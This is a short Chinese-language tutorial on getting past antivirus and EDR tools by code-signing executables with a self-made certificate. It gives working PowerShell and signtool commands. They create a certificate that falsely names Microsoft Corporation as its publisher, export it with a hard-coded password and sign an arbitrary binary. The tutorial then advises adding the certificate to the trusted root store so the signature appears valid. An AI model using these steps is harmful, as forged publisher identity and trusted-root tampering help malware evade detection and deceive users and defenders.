在對抗防毒軟體 (AV) 和端點偵測與回應 (EDR) 時,使用簽名檔案是一個很不錯的策略。擁有簽名意味著程式看起來是安全的,大多數防毒軟體不會對簽名程式下手。但是,獲取簽名往往麻煩重重,像是過期簽名或吊銷簽名這些情況常常會顯示無效。那麼,有沒有一種可以自己生成且顯示為有效的簽名呢?其實,這樣的簽名確實存在,那就是自簽名。通過自簽名,你可以自己生成 PFX 簽名檔並簽署 EXE、DLL 等檔案。
不過,需要注意的是,自簽名的證書鏈並不是有效的,但是可以通過將 PFX 加入到受信任的根證書機構來解決這個問題。
New-SelfSignedCertificate -Type Custom -Subject "CN=Microsoft Corporation, O=Microsoft Corporation, C=US, L=Redmond, S=Washington" -KeyUsage DigitalSignature -FriendlyName "Microsoft Corporation" -CertStoreLocation "Cert:\localmachine\My" -TextExtension @("2.5.29.37={text}1.3.6.1.5.5.7.3.3", "2.5.29.19={text}") -NotAfter (Get-Date).AddYears(10)
Get-ChildItem -path Cert:\LocalMachine\My
$cert = Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object { $_.Thumbprint -eq "61CB4624F3F3F120BB105CD9DDCAF1E6A82BA079" }
Export-PfxCertificate -Cert $cert -FilePath "C:\Users\Public\Microsoft.pfx" -Password (ConvertTo-SecureString -String "123edc" -Force -AsPlainText)
signtool.exe sign /f C:\Users\Public\Microsoft.pfx /p 123edc /t http://timestamp.digicert.com /v "C:\Users\administrator\Videos\b2.exe"
自簽名,但沒有將 PFX 加入到受信任的根證書頒發機構中。
將 PFX 加入到受信任的根證書機構中。